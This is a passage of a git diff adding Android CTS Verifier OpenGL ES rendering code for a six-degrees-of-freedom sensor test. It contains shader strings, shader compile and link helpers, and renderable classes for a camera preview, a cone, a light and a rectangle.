+    public static String getCameraPreviewVertexShader() {
+        return "uniform mat4 u_MVPMatrix;\n" +
+                "uniform mat4 u_MVMatrix;\n" +
+                "attribute vec4 a_Position;\n" +
+                "attribute vec2 a_TexCoordinate;\n" +
+                "\n" +
+                "varying vec3 v_Position;\n" +
+                "varying vec2 v_TexCoordinate;\n" +
+                "\n" +
+                "void main()\n" +
+                "{\n" +
+                "   v_Position = vec3(u_MVMatrix * a_Position);\n" +
+                "\n" +
+                "   v_TexCoordinate = a_TexCoordinate;\n" +
+                "\n" +
+                "   gl_Position = u_MVPMatrix * a_Position;\n" +
+                "}";
+    }
+
+    public static String getRectangleFragmentShader() {
+        return "precision mediump float;" +
+                "varying vec4 v_Color;" +
+                "varying vec3 v_Position;" +
+                "void main() {" +
+                "  gl_FragColor = v_Color;" +
+                "}";
+
+    }
+
+    public static String getRectangleVertexShader() {
+        return "uniform mat4 u_MVPMatrix;" +
+                "uniform mat4 u_MVMatrix;" +
+                "varying vec3 v_Position;" +
+                "varying vec4 v_Color;" +
+                "attribute vec4 a_Position;" +
+                "attribute vec4 a_Color;" +
+                "void main() {" +
+                "   v_Position = vec3(u_MVMatrix * a_Position);" +
+                "   v_Color = a_Color;" +
+                "   gl_Position = u_MVPMatrix * a_Position;" +
+                "}";
+    }
+
+    /**
+     * Contains lighting information for shadows that enhance AR effect.
+     *
+     * @return the vertex shader.
+     */
+    public static String getAugmentedRealityVertexShader() {
+        return "uniform mat4 u_MVPMatrix;\n"
+                + "uniform mat4 u_MVMatrix;\n"
+
+                + "attribute vec4 a_Position;\n"
+                + "attribute vec4 a_Color;\n"
+                + "attribute vec3 a_Normal;\n"
+
+                + "varying vec3 v_Position;\n"
+                + "varying vec4 v_Color;\n"
+                + "varying vec3 v_Normal;\n"
+
+                + "void main()\n"
+                + "{\n"
+                + "   v_Position = vec3(u_MVMatrix * a_Position);\n"
+                + "   v_Color = a_Color;\n"
+                + "   v_Normal = vec3(u_MVMatrix * vec4(a_Normal, 0.0));\n"
+                + "   gl_Position = u_MVPMatrix * a_Position;\n"
+                + "}\n";
+    }
+
+    /**
+     * Contains lighting information for shadows that enhance AR effect.
+     *
+     * @return the fragment shader.
+     */
+    public static String getAugmentedRealityFragmentShader() {
+        return "precision mediump float;\n"
+                + "uniform vec3 u_LightPos;\n"
+                + "uniform float u_LightStrength;\n"
+                + "varying vec3 v_Position;\n"
+                + "varying vec4 v_Color;\n"
+                + "varying vec3 v_Normal;\n"
+
+                + "void main()\n"
+                + "{\n"
+                + "   float distance = length(u_LightPos - v_Position);\n"
+                + "   vec3 lightVector = normalize(u_LightPos - v_Position);\n"
+                + "   float diffuse = max(dot(v_Normal, lightVector), 0.25);\n"
+                + "   diffuse = diffuse * (u_LightStrength / (1.0 + (0.25 * distance * distance)));\n"
+                + "   gl_FragColor = v_Color * diffuse;\n"
+                + "}";
+    }
+
+    /**
+     * Helper function to compile a shader.
+     *
+     * @param shaderType   The shader type.
+     * @param shaderSource The shader source code.
+     * @return An OpenGL handle to the shader.
+     */
+    public static int compileShader(final int shaderType, final String shaderSource) {
+        int shaderHandle = GLES20.glCreateShader(shaderType);
+
+        if (shaderHandle != 0) {
+            // Pass in the shader source.
+            GLES20.glShaderSource(shaderHandle, shaderSource);
+
+            // Compile the shader.
+            GLES20.glCompileShader(shaderHandle);
+
+            // Get the compilation status.
+            final int[] compileStatus = new int[1];
+            GLES20.glGetShaderiv(shaderHandle, GLES20.GL_COMPILE_STATUS, compileStatus, 0);
+
+            // If the compilation failed, delete the shader.
+            if (compileStatus[0] == 0) {
+                Log.e(TAG, "Error compiling shader: " + GLES20.glGetShaderInfoLog(shaderHandle));
+                GLES20.glDeleteShader(shaderHandle);
+                shaderHandle = 0;
+            }
+        }
+
+        if (shaderHandle == 0) {
+            throw new RuntimeException("Error creating shader.");
+        }
+
+        return shaderHandle;
+    }
+
+    /**
+     * Helper function to compile and link a program.
+     *
+     * @param vertexShaderHandle   An OpenGL handle to an already-compiled vertex shader.
+     * @param fragmentShaderHandle An OpenGL handle to an already-compiled fragment shader.
+     * @param attributes           Attributes that need to be bound to the program.
+     * @return An OpenGL handle to the program.
+     */
+    public static int createAndLinkProgram(final int vertexShaderHandle, final int fragmentShaderHandle, final String[] attributes) {
+        int programHandle = GLES20.glCreateProgram();
+
+        if (programHandle != 0) {
+            // Bind the vertex shader to the program.
+            GLES20.glAttachShader(programHandle, vertexShaderHandle);
+
+            // Bind the fragment shader to the program.
+            GLES20.glAttachShader(programHandle, fragmentShaderHandle);
+
+            // Bind attributes
+            if (attributes != null) {
+                final int size = attributes.length;
+                for (int i = 0; i < size; i++) {
+                    GLES20.glBindAttribLocation(programHandle, i, attributes[i]);
+                }
+            }
+
+            // Link the two shaders together into a program.
+            GLES20.glLinkProgram(programHandle);
+
+            // Get the link status.
+            final int[] linkStatus = new int[1];
+            GLES20.glGetProgramiv(programHandle, GLES20.GL_LINK_STATUS, linkStatus, 0);
+
+            // If the link failed, delete the program.
+            if (linkStatus[0] == 0) {
+                Log.e(TAG, "Error compiling program: " + GLES20.glGetProgramInfoLog(programHandle));
+                GLES20.glDeleteProgram(programHandle);
+                programHandle = 0;
+            }
+        }
+
+        if (programHandle == 0) {
+            throw new RuntimeException("Error creating program.");
+        }
+
+        return programHandle;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/CameraPreviewRenderable.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/CameraPreviewRenderable.java
new file mode 100644
index 0000000..2e9b685
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/CameraPreviewRenderable.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.Renderable;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.content.Context;
+import android.graphics.SurfaceTexture;
+import android.opengl.GLES11Ext;
+import android.opengl.GLES20;
+import android.opengl.Matrix;
+import android.util.Log;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.CameraStreamManager;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.DrawParameters;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ShaderHelper;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+
+/**
+ * Shows the camera preview as an opengl texture.
+ */
+public class CameraPreviewRenderable extends Renderable {
+    private static final String TAG = "CameraPreviewRenderable";
+    private final int TEXTURE_COORDINATE_DATA_SIZE = 2;
+    private static final float[] CAMERA_TEXTURE_DATA = {
+            0.0f, 0.0f,
+            0.0f, 1.0f,
+            1.0f, 0.0f,
+            0.0f, 1.0f,
+            1.0f, 1.0f,
+            1.0f, 0.0f
+    };
+    private static final float[] CAMERA_PREVIEW_POSITION = {0.0f, 0.0f, -3.0f};
+
+    private FloatBuffer mPositionBuffer;
+    private FloatBuffer mTextureBuffer;
+
+    private int mTextureUniformHandle;
+    private int mTextureCoordinateHandle;
+
+    protected int mCameraTextureId = -1;
+
+    private SurfaceTexture mCameraSurfaceTexture;
+    private Context mContext;
+    private CameraStreamManager mCameraStreamManager;
+    private boolean mInvertAxis;
+
+    public CameraPreviewRenderable() {
+        // Reset the model matrix to the identity and move it so the OpenGL camera is looking at it.
+        Matrix.setIdentityM(getModelMatrix(), 0);
+        Matrix.translateM(getModelMatrix(), 0,
+                CAMERA_PREVIEW_POSITION[X], CAMERA_PREVIEW_POSITION[Y], CAMERA_PREVIEW_POSITION[Z]);
+    }
+
+    public void initialiseCameraPreview(float[] cameraPreviewPositionData, boolean invertAxis, Context context) {
+        // float count / floats per vertex.
+        mVertexCount = cameraPreviewPositionData.length / POSITION_DATA_SIZE;
+
+        // Initialize the buffers.
+        mPositionBuffer = ByteBuffer.allocateDirect(cameraPreviewPositionData.length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+
+        mTextureBuffer = ByteBuffer.allocateDirect(CAMERA_TEXTURE_DATA.length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+
+        mPositionBuffer.put(cameraPreviewPositionData).position(0);
+        mTextureBuffer.put(CAMERA_TEXTURE_DATA).position(0);
+
+        final String vertexShader = ShaderHelper.getCameraPreviewVertexShader();
+        final String fragmentShader = ShaderHelper.getCameraPreviewFragmentShader();
+
+        final int vertexShaderHandle =
+                ShaderHelper.compileShader(GLES20.GL_VERTEX_SHADER, vertexShader);
+        final int fragmentShaderHandle =
+                ShaderHelper.compileShader(GLES20.GL_FRAGMENT_SHADER, fragmentShader);
+
+        mProgramHandle = ShaderHelper.createAndLinkProgram(vertexShaderHandle, fragmentShaderHandle,
+                new String[]{"a_Position", "a_TexCoordinate"});
+
+        mContext = context;
+        mInvertAxis = invertAxis;
+        connectCamera();
+    }
+
+    @Override
+    public void draw(DrawParameters drawParameters) {
+        GLES20.glUseProgram(mProgramHandle);
+
+        // Set program handles for camera preview drawing.
+        mMVPMatrixHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_MVPMatrix");
+        mMVMatrixHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_MVMatrix");
+        mTextureUniformHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_Texture");
+        mPositionHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Position");
+        mTextureCoordinateHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_TexCoordinate");
+
+        // Set the active texture unit to texture unit 0.
+        GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
+
+        // Bind the texture to this unit.
+        if (mCameraTextureId != -1) {
+            GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mCameraTextureId);
+        }
+
+        // Tell the texture uniform sampler to use this texture in the shader by binding to texture unit 0.
+        GLES20.glUniform1i(mTextureUniformHandle, 0);
+
+        // Compose the model, view, and projection matrices into a single m-v-p matrix
+        updateMvpMatrix(drawParameters.getViewMatrix(), drawParameters.getProjectionMatrix());
+
+        drawCameraPreview();
+    }
+
+    /**
+     * Draws a camera preview.
+     */
+    private void drawCameraPreview() {
+        // Pass in the position information
+        mPositionBuffer.position(0);
+        GLES20.glVertexAttribPointer(mPositionHandle, POSITION_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mPositionBuffer);
+
+        GLES20.glEnableVertexAttribArray(mPositionHandle);
+
+        // Pass in the texture coordinate information
+        mTextureBuffer.position(0);
+        GLES20.glVertexAttribPointer(mTextureCoordinateHandle, TEXTURE_COORDINATE_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mTextureBuffer);
+
+        GLES20.glEnableVertexAttribArray(mTextureCoordinateHandle);
+
+        // Pass in the modelview matrix.
+        GLES20.glUniformMatrix4fv(mMVMatrixHandle, 1, false, getMvMatrix(), 0);
+
+        // Pass in the combined matrix.
+        GLES20.glUniformMatrix4fv(mMVPMatrixHandle, 1, false, getMvpMatrix(), 0);
+
+        // Draw the camera preview.
+        GLES20.glDrawArrays(GLES20.GL_TRIANGLES, 0, mVertexCount);
+    }
+
+    /**
+     * Updates the texture with the latest camera data.
+     *
+     * @return the timestamp of the RGB image rendered into the texture.
+     */
+    public synchronized double updateTexture() {
+        double latestCameraFrameTimestamp = -1.0;
+        if (mCameraTextureId != -1) {
+            // Copy the camera frame from the camera to the OpenGL texture
+            mCameraSurfaceTexture.updateTexImage();
+            latestCameraFrameTimestamp = mCameraSurfaceTexture.getTimestamp();
+        }
+        return latestCameraFrameTimestamp;
+    }
+
+    /**
+     * Connects the camera to the OpenGl context
+     */
+    public void connectCamera() {
+        this.mCameraTextureId = connectCameraTexture();
+    }
+
+    public void disconnectCamera() {
+        mCameraStreamManager.onStopCameraStream();
+    }
+
+    /**
+     * Connects a texture to an Android camera
+     *
+     * @return textureId of texture with camera attached/
+     */
+    private int connectCameraTexture() {
+        if (mCameraTextureId == -1) {
+            mCameraTextureId = createEmptyTexture();
+            mCameraSurfaceTexture = new SurfaceTexture(mCameraTextureId);
+            int width = mInvertAxis ? 1080 : 1920;
+            int height = mInvertAxis ? 1920 : 1080;
+            mCameraStreamManager = new CameraStreamManager(mContext, mCameraSurfaceTexture, width, height);
+            mCameraStreamManager.onStartCameraStream();
+        }
+        return mCameraTextureId;
+    }
+
+    /**
+     * Creates an empty texture.
+     *
+     * @return textureId of empty texture.
+     */
+    public static int createEmptyTexture() {
+        final int[] textureHandle = new int[1];
+
+        GLES20.glGenTextures(1, textureHandle, 0);
+
+        if (textureHandle[0] != 0) {
+            return textureHandle[0];
+        }
+
+        return -1;
+    }
+
+    @Override
+    public void destroy() {
+        if (mCameraStreamManager != null) {
+            mCameraStreamManager.onStopCameraStream();
+            mCameraStreamManager = null;
+        }
+
+        mPositionBuffer = null;
+        mTextureBuffer = null;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/ConeRenderable.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/ConeRenderable.java
new file mode 100644
index 0000000..e0dcb6a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/ConeRenderable.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.Renderable;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.opengl.GLES20;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.Colour;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ConeModelMatrixCalculator;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.DrawParameters;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ObjImporter;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ShaderHelper;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+
+/**
+ * Object that needs to be collected by user in last test.
+ */
+public class ConeRenderable extends Renderable {
+    private static final int BYTES_PER_INT = 4;
+    public static final float[] CONE_OFFSET = new float[]{
+            0.2f, -0.1f, -1.0f}; // Offset from camera position.
+
+    private FloatBuffer mPositionBuffer;
+    private IntBuffer mIndicesBuffer;
+    private FloatBuffer mNormalsBuffer;
+    private FloatBuffer mColorBuffer;
+    private int mColorHandle;
+    private int mLightPosHandle;
+    private int mLightStrengthHandle;
+    private int mNormalHandle;
+
+    private ConeModelMatrixCalculator mModelMatrixCalculator;
+
+    public ConeRenderable(int toRotate, float[] upVector) {
+        mModelMatrixCalculator = new ConeModelMatrixCalculator(toRotate, upVector);
+    }
+
+    public void initialise(ObjImporter.ObjectData coneData) {
+        mVertexCount = coneData.getIndicesData().length;
+
+        int colourCount = mVertexCount * COLOUR_DATA_SIZE; // Vertex count * rgba
+        float[] colours = new float[colourCount];
+
+        for (int i = 0; i < colourCount; i++) {
+            int index = i % COLOUR_DATA_SIZE;
+            colours[i] = Colour.WHITE[index];
+        }
+
+        // Initialize the buffers.
+        mPositionBuffer = ByteBuffer.allocateDirect(coneData.getVertexData().length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mColorBuffer = ByteBuffer.allocateDirect(colours.length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mNormalsBuffer = ByteBuffer.allocateDirect(coneData.getNormalsData().length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mIndicesBuffer = ByteBuffer.allocateDirect(coneData.getIndicesData().length * BYTES_PER_INT)
+                .order(ByteOrder.nativeOrder()).asIntBuffer();
+
+        mPositionBuffer.put(coneData.getVertexData()).position(0);
+        mColorBuffer.put(colours).position(0);
+        mNormalsBuffer.put(coneData.getNormalsData()).position(0);
+        mIndicesBuffer.put(coneData.getIndicesData()).position(0);
+
+        final String vertexShader = ShaderHelper.getAugmentedRealityVertexShader();
+        final String fragmentShader = ShaderHelper.getAugmentedRealityFragmentShader();
+
+        final int vertexShaderHandle =
+                ShaderHelper.compileShader(GLES20.GL_VERTEX_SHADER, vertexShader);
+        final int fragmentShaderHandle =
+                ShaderHelper.compileShader(GLES20.GL_FRAGMENT_SHADER, fragmentShader);
+
+        mProgramHandle = ShaderHelper.createAndLinkProgram(vertexShaderHandle, fragmentShaderHandle,
+                new String[]{"a_Position", "a_Color", "a_Normal"});
+    }
+
+    @Override
+    public float[] getModelMatrix() {
+        // We want a model matrix that has camera extrinsics taken into account.
+        return mModelMatrixCalculator.getModelMatrix();
+    }
+
+    public void updateModelMatrix(float[] translation, float[] rotation, float[] lookAtPosition) {
+        mModelMatrixCalculator.updateModelMatrix(translation, rotation, lookAtPosition);
+    }
+
+    public void setDevice2IMUMatrix(float[] translation, float[] quaternion) {
+        mModelMatrixCalculator.setDevice2IMUMatrix(translation, quaternion);
+    }
+
+    public void setColorCamera2IMUMatrix(float[] translation, float[] quaternion) {
+        mModelMatrixCalculator.setColorCamera2IMUMatrix(translation, quaternion);
+    }
+
+    @Override
+    public void draw(DrawParameters drawParameters) {
+        GLES20.glUseProgram(mProgramHandle);
+
+        // Set program handles for cone drawing.
+        mMVPMatrixHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_MVPMatrix");
+        mMVMatrixHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_MVMatrix");
+        mPositionHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Position");
+        mColorHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Color");
+
+        // Used to calculate shadows.
+        mLightPosHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_LightPos");
+        mLightStrengthHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_LightStrength");
+        mNormalHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Normal");
+
+        // Calculate lighting information
+        float[] lightPosInEyeSpace = drawParameters.getLight()
+                .getPositionInEyeSpace(drawParameters.getViewMatrix());
+        GLES20.glUniform3f(mLightPosHandle,
+                lightPosInEyeSpace[X], lightPosInEyeSpace[Y], lightPosInEyeSpace[Z]);
+        GLES20.glUniform1f(mLightStrengthHandle, drawParameters.getLight().getStrength());
+
+        updateMvpMatrix(drawParameters.getViewMatrix(), drawParameters.getProjectionMatrix());
+        drawCone();
+    }
+
+    private void drawCone() {
+        // Pass in the position information
+        mPositionBuffer.position(0);
+        GLES20.glVertexAttribPointer(mPositionHandle, POSITION_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mPositionBuffer);
+
+        GLES20.glEnableVertexAttribArray(mPositionHandle);
+
+        // Pass in the modelview matrix.
+        GLES20.glUniformMatrix4fv(mMVMatrixHandle, 1, false, getMvMatrix(), 0);
+
+        // Pass in the combined matrix.
+        GLES20.glUniformMatrix4fv(mMVPMatrixHandle, 1, false, getMvpMatrix(), 0);
+
+        // Pass in the color information
+        mColorBuffer.position(0);
+        GLES20.glVertexAttribPointer(mColorHandle, COLOUR_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mColorBuffer);
+
+        GLES20.glEnableVertexAttribArray(mColorHandle);
+
+        // Pass in the normal information
+        mNormalsBuffer.position(0);
+        GLES20.glVertexAttribPointer(mNormalHandle, NORMAL_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mNormalsBuffer);
+
+        GLES20.glEnableVertexAttribArray(mNormalHandle);
+
+        // Draw the cone.
+        GLES20.glDrawArrays(GLES20.GL_TRIANGLES, 0, mVertexCount);
+    }
+
+    @Override
+    public void destroy() {
+        mPositionBuffer = null;
+        mIndicesBuffer = null;
+        mNormalsBuffer = null;
+        mColorBuffer = null;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/Light.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/Light.java
new file mode 100644
index 0000000..43b1001
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/Light.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.Renderable;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.opengl.Matrix;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.DrawParameters;
+
+/**
+ * Light object for applying shadows. Not actually rendered, but we make use of matrices in
+ * Renderable class.
+ */
+public class Light extends Renderable {
+    private static final float DEFAULT_LIGHT_STRENGTH = 1.0f;
+
+    private float mStrength = DEFAULT_LIGHT_STRENGTH;
+
+    /**
+     * Used to hold the transformed position of the light in eye space (after transformation via
+     * modelview matrix)
+     */
+    private final float[] mLightPosInEyeSpace = new float[4];
+
+    /**
+     * Creates a light at the given position.
+     *
+     * @param position coordinates in open gl coordinate system.
+     */
+    public Light(float[] position) {
+        new Light(position, DEFAULT_LIGHT_STRENGTH);
+    }
+
+    public float getStrength() {
+        return mStrength;
+    }
+
+    /**
+     * Creates a light at the given position with a given strength.
+     *
+     * @param position coordinates in open gl coordinate system.
+     * @param strength strength of light.
+     */
+    public Light(float[] position, float strength) {
+        mStrength = strength;
+
+        Matrix.setIdentityM(getModelMatrix(), 0);
+        Matrix.translateM(getModelMatrix(), 0, position[X], position[Y], position[Z]);
+    }
+
+    @Override
+    public void draw(DrawParameters drawParameters) {
+        // Don't actually need to draw anything here.
+    }
+
+    public synchronized float[] getPositionInEyeSpace(float[] viewMatrix) {
+        Matrix.multiplyMV(mLightPosInEyeSpace, 0, viewMatrix, 0, getModelMatrix(), 0);
+        return mLightPosInEyeSpace;
+    }
+
+    public synchronized void updateLightPosition(float[] translation) {
+        Matrix.setIdentityM(getModelMatrix(), 0);
+        Matrix.translateM(getModelMatrix(), 0, translation[X], translation[Y], translation[Z]);
+    }
+
+    @Override
+    public void destroy() {
+        // Nothing to destroy.
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/RectangleRenderable.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/RectangleRenderable.java
new file mode 100644
index 0000000..4d59d2d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/RectangleRenderable.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.Renderable;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.opengl.GLES20;
+import android.opengl.Matrix;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.Colour;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.DrawParameters;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ShaderHelper;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+
+/**
+ * Rotating Rectangle for the robustness test.
+ */
+public class RectangleRenderable extends Renderable {
+    private static final int LINE_WIDTH = 8;
+    protected static final float[] RECTANGLE_POSITION = {0.0f, 0.0f, -2.99f};
+
+    private FloatBuffer mPositionBuffer;
+    private FloatBuffer mColorBuffer;
+    private int mColorHandle;
+
+    private float[] mRectanglePositionData;
+
+    public RectangleRenderable() {
+        // Reset the model matrix to the identity and move it infront of the camera preview
+        Matrix.setIdentityM(getModelMatrix(), 0);
+        Matrix.translateM(getModelMatrix(), 0,
+                RECTANGLE_POSITION[X], RECTANGLE_POSITION[Y], RECTANGLE_POSITION[Z]);
+    }
+
+    public void initialiseRectangle(float[] rectanglePositionData) {
+        mRectanglePositionData = rectanglePositionData;
+
+        // Initialize the buffers.
+        mPositionBuffer = ByteBuffer.allocateDirect(mRectanglePositionData.length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mPositionBuffer.put(mRectanglePositionData).position(0);
+
+        // float count / floats per vertex
+        mVertexCount = mRectanglePositionData.length / POSITION_DATA_SIZE;
+        int colourCount = mVertexCount * COLOUR_DATA_SIZE; // Vertex count * rgba
+        float[] colours = new float[colourCount];
+
+        for (int i = 0; i < colourCount; i++) {
+            int index = i % COLOUR_DATA_SIZE;
+            colours[i] = Colour.GREEN[index];
+        }
+
+        mColorBuffer = ByteBuffer.allocateDirect(colours.length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mColorBuffer.put(colours).position(0);
+
+        final String vertexShader = ShaderHelper.getRectangleVertexShader();
+        final String fragmentShader = ShaderHelper.getRectangleFragmentShader();
+
+        final int vertexShaderHandle =
+                ShaderHelper.compileShader(GLES20.GL_VERTEX_SHADER, vertexShader);
+        final int fragmentShaderHandle =
+                ShaderHelper.compileShader(GLES20.GL_FRAGMENT_SHADER, fragmentShader);
+
+        mProgramHandle = ShaderHelper.createAndLinkProgram(vertexShaderHandle, fragmentShaderHandle,
+                new String[]{"a_Position", "a_Color"});
+    }
+
+    @Override
+    public void draw(DrawParameters drawParameters) {
+        GLES20.glUseProgram(mProgramHandle);
+
+        // Set program handles for camera preview drawing.
+        mMVPMatrixHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_MVPMatrix");
+        mMVMatrixHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_MVMatrix");
+        mPositionHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Position");
+        mColorHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Color");
+
+        updateMvpMatrix(drawParameters.getViewMatrix(), drawParameters.getProjectionMatrix());
+        drawRectangle();
+    }
+
+    private void drawRectangle() {
+        // Pass in the position information
+        mPositionBuffer.position(0);
+        GLES20.glVertexAttribPointer(mPositionHandle, POSITION_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mPositionBuffer);
+
+        GLES20.glEnableVertexAttribArray(mPositionHandle);
+
+        // Pass in the modelview matrix.
+        GLES20.glUniformMatrix4fv(mMVMatrixHandle, 1, false, getMvMatrix(), 0);
+
+        // Pass in the combined matrix.
+        GLES20.glUniformMatrix4fv(mMVPMatrixHandle, 1, false, getMvpMatrix(), 0);
+
+        synchronized (this) {
+            // Pass in the color information
+            mColorBuffer.position(0);
+            GLES20.glVertexAttribPointer(mColorHandle, COLOUR_DATA_SIZE, GLES20.GL_FLOAT, false,
+                    0, mColorBuffer);
+
+            GLES20.glEnableVertexAttribArray(mColorHandle);
+        }
+
+        // Draw the rectangle.
+        GLES20.glLineWidth(LINE_WIDTH);
+        GLES20.glDrawArrays(GLES20.GL_LINES, 0, mVertexCount); // 2 points per line * 4 lines = 8
+    }
+
+    public void setLineColor(float[] newColor) {
+        synchronized (this) {
+            // float count / floats per vertex
+            int vertexCount = mRectanglePositionData.length / POSITION_DATA_SIZE;
+            int colourCount = vertexCount * COLOUR_DATA_SIZE; // Vertex count * rgba
+            float[] colours = new float[colourCount];
+
+            for (int i = 0; i < colourCount; i++) {
+                int index = i % COLOUR_DATA_SIZE;
